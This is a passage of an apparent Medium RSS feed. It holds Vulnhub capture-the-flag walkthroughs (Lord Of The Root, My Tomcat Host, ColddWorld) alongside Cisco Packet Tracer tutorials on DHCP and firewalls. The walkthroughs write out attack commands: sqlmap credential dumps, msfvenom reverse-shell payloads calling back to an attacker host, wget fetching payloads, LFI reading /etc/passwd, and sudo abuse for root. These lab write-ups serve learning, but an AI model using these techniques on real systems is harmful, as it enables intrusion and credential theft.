nmap:</p><blockquote><strong>nmap -r -Pn -p1,2,3 192.168.1.9</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/547/1*hbDLTYG9gnr3HCjr9xSZWw.png" /></figure><p>After executing the port knocking sequence, we perform another full port scan:</p><blockquote><strong>nmap -p- 192.168.1.9</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/554/1*AgV5fBFIiAIBtvKS2tTh0g.png" /></figure><p>This time, we discover a new port 1337 is open.</p><h3>Step 5: Web Service Enumeration</h3><p>With port 1337 open, we navigate to it via a web browser:</p><blockquote><a href="http://192.168.1.9:1337/"><strong>http://192.168.1.9:1337</strong></a></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/687/1*CGQBY_5uyqpwuW9tKCGy7w.png" /></figure><p>On visiting 1337 we get image , and when we visit the url</p><p><strong>http://192.168.1.9:1337/index.php</strong> we get a new image and when we check the source code we get a base64 hash in a comment</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/634/1*s25zwUYr5g7qqkkyr_EnxQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/766/1*QNzUz0kqnDA26IL5IqAlzw.png" /></figure><h3>Step 6: Base64 String Decoding</h3><p>And when we decrypt base64 string we got <strong>Lzk3ODM0NTIxMC9pbmRleC5waHA= Closer!</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/847/1*R_Lbw8RzhicKaYfrATUeSg.png" /></figure><p>Resulting in :</p><p><strong>Lzk3ODM0NTIxMC9pbmRleC5waHA= Closer!</strong></p><p>As we decrypt the password again we get <strong>/978345210/index.php</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/658/1*QIIqUF3qaM5rtpnb7tem-Q.png" /><figcaption>\</figcaption></figure><h3>Step 7: SQL Injection Attack</h3><p>Navigating to the URL:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/663/1*VWkWZQqnP1PoE39MCaFOWg.png" /></figure><p>We encounter a login page. To bypass authentication, we use sqlmap to perform an SQL injection:</p><blockquote><strong>sqlmap — url http://192.168.1.9:1337/978345210/index.php — forms — dbs — level=5 — risk=3 — batch</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/957/1*oNJEGiVRCwjPTTP8LdaSfg.png" /></figure><p>This reveals the database structure and the Webapp database, which contains user credentials.</p><h3>Step 8: Extracting Credentials</h3><p>We extract the credentials stored in the Users table:</p><blockquote><strong>sqlmap — url http://192.168.1.9:1337/978345210/index.php — forms — dbs — level=5 — risk=3 -D Webapp -T Users — columns — dump</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PrN8Jh6wVk_p9194hXplyQ.png" /></figure><p>The credentials are:</p><ul><li><strong>Username</strong>: smeagol</li><li><strong>Password</strong>: MyPreciousR00t</li></ul><h3>Step 9: SSH Access as smeagol</h3><p>We now have valid credentials and can establish an SSH session as the smeagol user:</p><blockquote><strong>ssh smeagol@192.168.1.9</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/881/1*Ldz-eiMXOaqsezktzwXvbg.png" /></figure><p>Once connected, we check the system details:</p><blockquote><strong>uname -a</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/860/1*XZRFAfbLtDP_FUYo_Pv1BQ.png" /></figure><p>The system is running Linux 3.19.0-25-generic, a version known to be vulnerable to certain exploits.</p><h3>Step 10: Privilege Escalation Using OverlayFS Exploit</h3><p>To escalate privileges, we utilize an overlayfs kernel exploit. First, we download the exploit onto the target system. On the attacker&#39;s machine, start a Python HTTP server:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rk4ExB2iWEjWCEtpNt4oow.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/775/1*ZBxF5uN1AA4sXc44vRzR7w.png" /></figure><p>Then, on the target machine:</p><blockquote><strong>cd /tmp</strong></blockquote><blockquote><strong>wget http://192.168.1.9:4444/39166.c</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/952/1*Gfa8VkKFtn2czEsso9RNrg.png" /></figure><p>Compile and execute the exploit:</p><blockquote><strong>gcc 39166.c -o overlayfs</strong></blockquote><blockquote><strong>./overlayfs</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/426/1*2wgmU5N9nqCjjyBFMXFgJg.png" /></figure><h3>Step 11: Capturing the Root Flag</h3><p>If the exploit is successful, we obtain a root shell. Verify root access:</p><blockquote><strong>id</strong></blockquote><p>Finally, navigate to the root directory and capture the flag:</p><blockquote><strong>cd /root</strong></blockquote><blockquote><strong>ls</strong></blockquote><blockquote><strong>cat Flag.txt</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/833/1*QtPoCGN56ep0yuLgySfPvA.png" /></figure><p><strong>Flag Captured!</strong></p><h3>Conclusion</h3><p><strong>Summary of Key Learning Points</strong><br>This walkthrough provided hands-on experience with various penetration testing techniques, including network scanning, port knocking, web service enumeration, SQL injection, and privilege escalation through kernel exploitation.</p><p><strong>Reflections on the Challenge</strong><br>“Lord Of The Root: 1.0.1” is an excellent challenge that reinforces the importance of methodical exploration, thorough enumeration, and creative exploitation in cybersecurity. Each step builds on fundamental skills crucial for successful penetration testing.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=25f7161c7e7b" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[DHCP Configuration in Packet Tracer for One Broadcast Domain]]></title>
            <link>https://medium.com/@z6157881/dhcp-configuration-in-packet-tracer-for-one-broadcast-domain-69dd219fba51?source=rss-acba0c2255fe------2</link>
            <guid isPermaLink="false">https://medium.com/p/69dd219fba51</guid>
            <category><![CDATA[dhcp]]></category>
            <category><![CDATA[cisco]]></category>
            <category><![CDATA[networking]]></category>
            <dc:creator><![CDATA[Anshika]]></dc:creator>
            <pubDate>Sat, 24 Aug 2024 16:57:18 GMT</pubDate>
            <atom:updated>2024-08-24T16:57:18.541Z</atom:updated>
            <content:encoded><![CDATA[<h4>What is DHCP?</h4><p>DHCP, or <strong>Dynamic Host Configuration Protocol</strong>, is a network management protocol used on Internet Protocol (IP) networks. Its primary purpose is to automatically assign IP addresses and other important configuration settings (like subnet mask, default gateway, and DNS servers) to devices (e.g., computers, smartphones, printers) on a network. This automation makes it easier to manage a large network since devices can obtain the necessary network configurations without manual intervention.</p><h3>How DHCP Works:</h3><ol><li><strong>Discover</strong>: A device (client) that joins the network sends out a DHCP Discover message to find available DHCP servers.</li><li><strong>Offer</strong>: A DHCP server responds to the client with a DHCP Offer message, offering an IP address and other network settings.</li><li><strong>Request</strong>: The client then responds with a DHCP Request message, indicating its acceptance of the offered IP address.</li><li><strong>Acknowledge</strong>: The DHCP server sends a DHCP Acknowledgment (ACK) message to finalize the lease, and the client can now use the IP address.</li></ol><h3>Key Features:</h3><ul><li><strong>Lease Time</strong>: IP addresses assigned by DHCP are typically leased for a specific period. After the lease expires, the device must request a new IP address.</li><li><strong>Static and Dynamic Allocation</strong>: DHCP can assign static IP addresses (pre-assigned to specific devices based on MAC address) or dynamic IP addresses (automatically assigned from a pool of available addresses).</li><li><strong>Ease of Management</strong>: DHCP simplifies network administration, especially in environments where devices frequently join and leave the network, such as in large enterprise networks or public Wi-Fi networks.</li></ul><h4>Topology Overview</h4><p>The network topology consists of:</p><ul><li><strong>One Router</strong>: Serves as the DHCP server and performs routing functionalities.</li><li><strong>One Switch</strong>: Connects multiple PCs that will obtain IP addresses via DHCP.</li><li><strong>Three PCs</strong>: These will receive IP addresses dynamically from the DHCP server on the router.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/876/1*S00Zxm9stJ0u8OygR_V71A.png" /></figure><h4>Step-by-Step Configuration Guide</h4><ol><li><strong>Assign IP Address to Router Interface</strong>:</li></ol><ul><li>Access the router’s interface connected to the switch.</li><li>Assign an IP address to this interface that will serve as the default gateway for the network</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/906/1*j7w1SlHEbJRUEJCmeRBn0w.png" /></figure><p><strong>Create a DHCP Pool</strong>:</p><ul><li>Define a DHCP pool named IPD to allocate IP addresses to the clients.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/632/1*ySStEdEqfANDCuu9-NegKQ.png" /></figure><p><strong>Exclude Specific IP Addresses</strong>:</p><ul><li>Exclude specific IP addresses from the DHCP pool that should not be assigned to clients.</li></ul><pre>Router(config)# ip dhcp excluded-address 192.168.10.1 192.168.10.10</pre><p><strong>Verify IP Address Assignment</strong>:</p><ul><li>After enabling DHCP on each PC, verify that they have received IP addresses from the DHCP server.</li></ul><p>The output should display IP addresses within the DHCP pool range. For example:</p><ul><li><strong>PC0</strong>: 192.168.10.11</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/870/1*YfrNDXQvI_QER_w0rBDdOA.png" /></figure><ul><li><strong>PC1</strong>: 192.168.10.12</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/857/1*HhJ_iGmn7Imx86zdABsn_A.png" /></figure><ul><li><strong>PC2</strong>: 192.168.10.13</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/845/1*rDScFztFjvMA4ooHE4eeTg.png" /></figure><h3>Conclusion</h3><p>This setup demonstrates a basic but essential configuration of DHCP in a single broadcast domain using Cisco Packet Tracer. The steps provided ensure that devices on the network receive the necessary IP configurations automatically, simplifying network management and enhancing efficiency.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=69dd219fba51" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[My Tomcat Host: 1 | Walkthrough |Vulnhub]]></title>
            <link>https://medium.com/@z6157881/my-tomcat-host-1-walkthrough-vulnhub-d267b36db003?source=rss-acba0c2255fe------2</link>
            <guid isPermaLink="false">https://medium.com/p/d267b36db003</guid>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[vulnhub]]></category>
            <dc:creator><![CDATA[Anshika]]></dc:creator>
            <pubDate>Fri, 23 Aug 2024 19:32:34 GMT</pubDate>
            <atom:updated>2024-08-23T19:32:34.873Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>Difficulty:</strong> Easy/Beginner<br><strong>Objective:</strong> Gain root access and retrieve the flag.</p><p>This Vulnhub box, “My Tomcat Host: 1,” is a beginner-friendly challenge that provides an excellent learning opportunity for those interested in web application security and privilege escalation techniques. In this walkthrough, we’ll detail the steps taken to discover, enumerate, exploit, and escalate privileges on the target system.</p><h3>Methodologies and Tools Used:</h3><ol><li><strong>Host Discovery:</strong><br>Tool: netdiscover<br>Purpose: Identify the target IP address.</li><li><strong>Port Scanning and Service Enumeration:</strong><br>Tool: nmap<br>Purpose: Discover open ports and services.</li><li><strong>Web Application Vulnerability Scanning:</strong><br>Tool: Nikto<br>Purpose: Identify vulnerabilities and default credentials in the web application.</li><li><strong>Exploitation:</strong><br>Tool: msfvenom, netcat<br>Purpose: Generate a reverse shell payload and establish a connection.</li><li><strong>Privilege Escalation:</strong><br>Tool: msfvenom, wget, sudo<br>Purpose: Escalate privileges using a Java-based reverse shell.</li><li><strong>Flag Capture:</strong><br>Command Line<br>Purpose: Confirm root access and retrieve the flag.</li></ol><h3>Step 1: Host Discovery</h3><p>The first step is to identify the IP address of the target machine on the network. We use netdiscover for this purpose.</p><blockquote><strong>netdiscover</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9Mgd8ikkQGFGQUD0piaCvQ.png" /></figure><p><strong>Target IP:</strong> 192.168.1.8</p><h3>Step 2: Enumeration</h3><p>With the target IP identified, we move on to port scanning using nmap to discover open ports and gather detailed information about the services running on the target.</p><blockquote><strong>nmap -p- -A 192.168.1.8</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CotABSgvG6fyumF_ECLW0A.png" /></figure><p><strong>Results:</strong></p><ul><li><strong>Port 22:</strong> Open (SSH)</li><li><strong>Port 8080:</strong> Open (HTTP — Apache Tomcat)</li></ul><p>Given these results, we focus on further enumeration of these specific ports, especially the HTTP service running on port 8080.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cry6E5pTtsin2Uuq-D1VTg.png" /></figure><h3>Step 3: Web Application Enumeration</h3><p>Navigating to http://192.168.1.8:8080 in a web browser, we see the default Apache Tomcat installation page. This is a promising vector for further exploration.</p><p>To deepen our analysis, we use Nikto, a web server scanner, to check for vulnerabilities or misconfigurations.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ikcALp89as2587w5oHhAjA.png" /></figure><ul><li>The most critical piece of information obtained is the default credentials for the Tomcat Manager Application:<br><strong>Username:</strong> tomcat<br><strong>Password:</strong> tomcat</li><li>Access is available at the /manager/html directory.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DQkWcuNKAMKLLK6RuNf-xg.png" /></figure><h3>Step 4: Exploitation</h3><p>The Tomcat Manager allows for the deployment of .war (Web Application Archive) files. We can leverage this functionality to upload a malicious .war file that will grant us a reverse shell.</p><p><strong>Creating the Reverse Shell Payload:</strong></p><p>We use msfvenom to generate a .war payload that, when executed, will initiate a reverse shell connection back to our attacking machine.</p><blockquote><strong>msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.1.3 LPORT=4444 -f war &gt; shell.war</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pKyq2tkTYO9Mcxak9oWLsg.png" /></figure><p>Where:</p><ul><li>LHOST is our IP address.</li><li>LPORT is the port we will listen on.</li></ul><p><strong>Uploading the Payload:</strong></p><ol><li>Access the Tomcat Manager at <a href="http://192.168.1.8:8080/manager/html.">http://192.168.1.8:8080/manager/html.</a></li><li>Log in using the credentials obtained earlier.</li><li>Upload the shell.war file.</li></ol><p><strong>Launching the Attack:</strong></p><ol><li>Start a listener on your attacking machine to catch the reverse shell.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/754/1*i-porDzsJ3shIbgrLCFEyw.png" /></figure><p>Trigger the payload by navigating to the uploaded .war file on the target machine.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qKXaitZopRsI1r3bF8MOkQ.png" /></figure><p><strong>Outcome:</strong><br>A reverse shell is established, granting us unprivileged access to the target machine.</p><h3>Step 5: Privilege Escalation</h3><p>Now that we have a foothold on the system, the next step is to escalate our privileges to root.</p><p><strong>Interactive Shell:</strong></p><p>First, we convert our current shell into an interactive one to facilitate easier command execution.</p><blockquote><strong>python -c ‘import pty; pty.spawn(“/bin/bash”)’</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/896/1*TPfFUoVGSsEz4uaDISn6Gw.png" /></figure><p><strong>Sudo Permissions Check:</strong></p><p>By inspecting the sudo permissions, we discover that the java command can be executed as root without a password:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dz3yn-gmLvBKlF-JaX8dfA.png" /></figure><p><strong>Privilege Escalation Using Java:</strong></p><p>To escalate privileges, we can execute a Java-based reverse shell as root.</p><p><strong>Creating the Payload:</strong></p><p>We generate a .jar payload using msfvenom:</p><blockquote><strong>msfvenom -p java/shell_reverse_tcp LHOST=192.168.1.3 LPORT=5555 -f jar &gt;rootme.jar</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3VtTTO6jtVPq4fBasnNSNg.png" /></figure><p><strong>Hosting the Payload:</strong></p><p>Start a simple HTTP server on your attacking machine to serve the .jar file to the target.</p><blockquote><strong>python3 -m http.server 1234</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/721/1*5fWBGpRxl2349RJptigqTw.png" /></figure><p><strong>Download the Payload on the Target:</strong></p><p>On the target machine, download the .jar file using wget:</p><blockquote><strong>wget </strong><a href="http://192.168.1.3:1234/rootme.jar"><strong>http://192.168.1.3:1234/rootme.jar</strong></a></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/963/1*qlpE8xOUdZO31pRglNh4Hg.png" /></figure><p><strong>Set Execution Permissions:</strong></p><p>Grant execution permissions to the .jar file:</p><blockquote><strong>chmod +x rootme.jar</strong></blockquote><p><strong>Execute the Payload as Root:</strong></p><p>Start a listener on your attacking machine:</p><blockquote><strong>nc -lvp 5555</strong></blockquote><p>Then, execute the .jar file as root:</p><blockquote><strong>sudo java -jar rootme.jar</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/610/1*qsagimftAPJl9UcgOGSHBw.png" /></figure><p><strong>Outcome:</strong><br>You now have a root shell on the target machine.</p><h3>Step 6: Capture the Flag</h3><p>With root access, navigate to the root directory and retrieve the flag:</p><blockquote><strong>id</strong></blockquote><blockquote><strong>ls</strong></blockquote><blockquote><strong>cd /root</strong></blockquote><blockquote><strong>cat proof.txt</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/798/1*PkUYz2MnY9DixLileudyGg.png" /></figure><p><strong>Flag Captured!</strong></p><p>This box provided a straightforward yet valuable experience in exploiting web-based services, managing reverse shells, and privilege escalation using misconfigured sudo permissions.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d267b36db003" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[ColddWorld : Immersion Walkthrough Vulnhub]]></title>
            <link>https://medium.com/@z6157881/colddworld-immersion-walkthrough-vulnhub-929b58c7af28?source=rss-acba0c2255fe------2</link>
            <guid isPermaLink="false">https://medium.com/p/929b58c7af28</guid>
            <dc:creator><![CDATA[Anshika]]></dc:creator>
            <pubDate>Thu, 22 Aug 2024 17:36:28 GMT</pubDate>
            <atom:updated>2024-08-22T17:36:58.118Z</atom:updated>
            <content:encoded><![CDATA[<h3>Introduction</h3><p>This walkthrough provides a step-by-step guide to completing the “ColddWorld” machine from Vulnhub, which is categorized as an easy difficulty boot-to-root challenge. The objective is to identify and exploit vulnerabilities in the machine to gain root access and retrieve the required flags.</p><h3>Step 1: Identify the Target Machine</h3><p>The first step is to identify the IP address of the target machine on the local network. We can use the netdiscover tool to achieve this:</p><blockquote><strong>netdiscover</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*aoxiPVmkXnX2TfO1FD3kiA.png" /></figure><p>After identifying the IP address 192.168.1.10, we proceed to scan the machine for open ports.</p><h3>Step 2: Scan for Open Ports</h3><p>To determine the exposed services on the target machine, an Nmap scan is performed:</p><blockquote><strong>nmap -sC -sV -p- 192.168.1.10</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*txsl1Y9XTX12SDMsLWSdqw.png" /></figure><p>This comprehensive scan checks all ports (-p-), runs default scripts (-sC), and performs service version detection (-sV). The scan results reveal two open ports:</p><ul><li><strong>Port 80 (HTTP):</strong> Hosting a web server.</li><li><strong>Port 3042 (SSH):</strong> An SSH service running on a non-standard port.</li></ul><p>Given these results, we first explore the web server on port 80.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-EYYdIufWD13aJha2LNERQ.png" /></figure><h3>Step 3: Explore the HTTP Service</h3><p>We start by opening the target machine’s IP address in a web browser to explore the HTTP service. The homepage is sparse, displaying only an image without any visible functionality. To uncover hidden files and directories, we use the gobuster tool for brute-forcing:</p><blockquote><strong>gobuster dir -u http://192.168.1.10 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EPBmV7RYZQ7LEUv_LMT1_w.png" /></figure><p>The scan identifies various directories, including a /login page, which seems promising. Upon visiting the /login page, we are redirected to /accounts.php.</p><h3>Step 4: Exploit Local File Inclusion (LFI) Vulnerability</h3><p>Upon inspecting the source code of the /login page, we discover HTML comments that suggest a potential Local File Inclusion (LFI) vulnerability. The comments also mention a credentials file (carls.txt) located in the /var directory.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*17n0veS_elSoQBtWttazjA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XKdfC_O7xMm96EUvmOgntA.png" /></figure><p>To confirm the LFI vulnerability, we attempt to access the /etc/passwd file via the following URL:</p><blockquote><a href="http://192.168.1.10/login/account.php?page=/../../../../../etc/passwd"><strong>http://192.168.1.10/login/account.php?page=/../../../../../etc/passwd</strong></a></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/959/1*f4TvKNIiZMfZe_8C3sQR_g.png" /></figure><p>Since this works, we then retrieve the carls.txt file containing credentials:</p><blockquote><a href="http://192.168.1.10/login/account.php?page=/../../../../../etc/passwd"><strong>http://192.168.1.10/login/account.php?page=/../../../../../</strong></a><strong>var/carls.txt</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*aUXmih8WcEe0jz3d7r6XeA.png" /></figure><p>The file reveals a username and an encoded password. However, these credentials do not work directly on the SSH service or the login page.</p><h3>Step 5: Decode the Password</h3><p>The password in carls.txt is encoded in Base64. We decode it using the following command:</p><blockquote><strong>echo Y2FybG9z | base64 -d</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*zXdK_FTzBJreMSfRbcfbhQ.png" /></figure><p>This decodes to carlos, which we then use to attempt an SSH login:</p><blockquote><strong>ssh carls@192.168.1.10 -p 3042</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qB-xgiEBrvqUizpP9bDA5Q.png" /></figure><h3>Step 6: Obtain User Privileges</h3><p>Upon successfully logging in as the user carls, we aim to locate the first flag. A search within carls&#39; home directory does not yield any results, so we check the user&#39;s sudo permissions:</p><blockquote><strong>sudo -l</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sAvyh9j0963cOPJSM_DuHQ.png" /></figure><p>The results show that carls can run Bash as the user c0ldd. We escalate our privileges by running the following command:</p><blockquote><strong>sudo -u c0ldd /bin/bash</strong></blockquote><p>We then navigate to c0ldd&#39;s home directory and retrieve the first flag:</p><blockquote><strong>cd /home/c0ldd</strong></blockquote><blockquote><strong>ls</strong></blockquote><blockquote><strong>cat user.txt</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/680/1*y0k5FsFjVzeRONDYtzE_wg.png" /></figure><h3>Step 7: Escalate to Root Privileges</h3><p>With the user c0ldd, the next step is to gain root access. We inspect the sudo permissions again:</p><blockquote><strong>sudo -l</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5dzuDqg0TKp8KQHlA0bFUg.png" /></figure><p>It is revealed that c0ldd can execute a Python script named DoNotRun.py as root. We check the contents of this script:</p><blockquote><strong>cat DoNotRun.py</strong></blockquote><blockquote><strong>ls -al</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/938/1*Vc1-pLUbrIm8ILPiy9bXDw.png" /></figure><p>The script is harmless, printing text in an infinite loop. However, the file is owned by root, preventing us from modifying it directly. To exploit this, we delete the existing script and create a new one with malicious content:</p><blockquote><strong>rm DoNotRun.py</strong></blockquote><blockquote><strong>echo ‘import os;os.system(“/bin/bash”)’ &gt; DoNotRun.py</strong></blockquote><blockquote><strong>cat DoNotRun.py</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cSFExNg5l0RhIstEgN2Q3w.png" /></figure><p>Finally, we execute the modified script as root:</p><blockquote><strong>sudo python3 /home/c0ldd/DoNotRun.py</strong></blockquote><blockquote><strong>id</strong></blockquote><p>With root access achieved, we navigate to the root directory and retrieve the final flag:</p><blockquote><strong>cd /root</strong></blockquote><blockquote><strong>ls -al</strong></blockquote><blockquote><strong>cat root.txt</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/915/1*XTbqOn-BJza9WpFR7gLv0A.png" /></figure><blockquote><strong>cat root.txt | base64 -d &amp;&amp; echo</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/743/1*KqZbAH5I4ls4jb9tTzg2cQ.png" /></figure><h3>Conclusion</h3><p>By following the above steps, we successfully completed the ColddWorld Immersion challenge on Vulnhub, obtaining both user and root flags. This walkthrough demonstrated key techniques such as port scanning, file brute-forcing, exploiting LFI vulnerabilities, privilege escalation, and Python script manipulation.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=929b58c7af28" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Basic Firewall Configuration in Cisco Packet Tracer]]></title>
            <link>https://medium.com/@z6157881/basic-firewall-configuration-in-cisco-packet-tracer-57861e282e05?source=rss-acba0c2255fe------2</link>
            <guid isPermaLink="false">https://medium.com/p/57861e282e05</guid>
            <category><![CDATA[cisco]]></category>
            <category><![CDATA[configuration]]></category>
            <category><![CDATA[firewall]]></category>
            <dc:creator><![CDATA[Anshika]]></dc:creator>
            <pubDate>Thu, 22 Aug 2024 10:27:51 GMT</pubDate>
            <atom:updated>2024-08-22T10:27:51.761Z</atom:updated>
            <content:encoded><![CDATA[<p>What is Firewall?</p><p>A <strong>firewall</strong> is a security system designed to monitor and control incoming and outgoing network traffic based on predetermined security rules. Its primary function is to create a barrier between a trusted internal network and untrusted external networks, such as the internet, to protect against unauthorized access, cyberattacks, and data breaches.</p><p>Firewalls can be implemented as either software or hardware (or a combination of both) and come in various forms, including:</p><ol><li><strong>Packet-Filtering Firewalls:</strong> These analyze packets of data being sent to or from a network and allow or block them based on a set of rules, such as IP addresses, ports, or protocols.</li><li><strong>Stateful Inspection Firewalls:</strong> These track the state of active connections and make decisions based on the context of the traffic, not just individual packets.</li><li><strong>Proxy Firewalls:</strong> These act as intermediaries between the internal network and the internet, making requests on behalf of the user and then forwarding responses back.</li><li><strong>Next-Generation Firewalls (NGFW):</strong> These offer more advanced features, such as application awareness, intrusion prevention systems (IPS), and deep packet inspection, to provide more comprehensive security.</li><li><strong>Cloud Firewalls:</strong> These are hosted in the cloud and are typically used to protect cloud-based infrastructure and services.</li></ol><p>Firewalls are a fundamental component of network security, helping to protect against malicious attacks, unauthorized access, and data exfiltration.</p><p><strong>Step 1: Build the Network Topology</strong></p><ol><li>Open Cisco Packet Tracer.</li><li>Add the following devices:</li></ol><ul><li>One Server.</li><li>One switch.</li><li>Three Pcs. (to simulate hosts in different networks).</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*29qncLgPEo5xbGHDYNA0bg.png" /></figure><p><strong>Step 2: Configure IP Addresses</strong></p><p>Assign appropriate IP addresses to all PCs and the Server.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/869/1*2LYJHQcosE7iMDNOXbjbiA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/870/1*JtIP7ea7yO1Zriy-a8ouWw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/864/1*N9XnZ2-YvI3LHOwH_VNskA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/865/1*K7Z8nUdTX4AOi0rmFI7pdg.png" /></figure><p><strong>Step 3: Configure the Firewall on the Server</strong></p><ol><li>Select Server0, then navigate to the Desktop tab.</li><li>Click on Firewall (IPv4).</li><li>Enable the firewall services.</li><li>To block ICMP traffic (e.g., pings):</li></ol><ul><li>Deny the ICMP protocol.</li><li>Set the Remote IP to 0.0.0.0 and the Remote Wildcard Mask to 255.255.255.255.</li></ul><p>5. To allow general IP traffic:</p><ul><li>Permit the IP protocol.</li><li>Set the Remote IP to 0.0.0.0 and the Remote Wildcard Mask to 255.255.255.255.</li></ul><p>6. Add the configuration.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/867/1*fd-6-G5ZtSlJPFcWAJDSCA.png" /></figure><p><strong>Step 4: Verify Network Configuration</strong></p><ol><li>To verify that ICMP traffic is blocked:</li></ol><ul><li>On PC1, open the Command Prompt.</li><li>Execute the command ping 10.0.0.1.</li><li>Observe that no replies are received, indicating that ICMP packets are being successfully blocked by the firewall.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/867/1*yc9sWc6UY_AHG_f2ErtR2Q.png" /></figure><p>To check that web traffic is allowed:</p><ul><li>Open a web browser on any PC.</li><li>Enter the IP address of the server in the URL bar.</li><li>Confirm that the server’s web page loads, demonstrating that HTTP traffic is permitted.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/870/1*5wqkfZkAC008b2X0ZPDg-g.png" /></figure><p>By following these steps, you have successfully configured a basic firewall in Cisco Packet Tracer, effectively blocking specific network traffic while allowing others.</p><p>Hope this walkthrough helps you successfully configure a basic firewall in Cisco Packet Tracer!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=57861e282e05" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[HSRP Configuration On Cisco Packet Tracer]]></title>
            <link>https://medium.com/@z6157881/hsrp-configuration-on-cisco-packet-tracer-3e78ad162a50?source=rss-acba0c2255fe------2</link>
            <guid isPermaLink="false">https://medium.com/p/3e78ad162a50</guid>
            <category><![CDATA[cisco-packet-tracer]]></category>
            <category><![CDATA[hsrp]]></category>
            <category><![CDATA[configuration]]></category>
            <dc:creator><![CDATA[Anshika]]></dc:creator>
            <pubDate>Wed, 21 Aug 2024 17:36:25 GMT</pubDate>
            <atom:updated>2024-08-21T17:42:53.581Z</atom:updated>
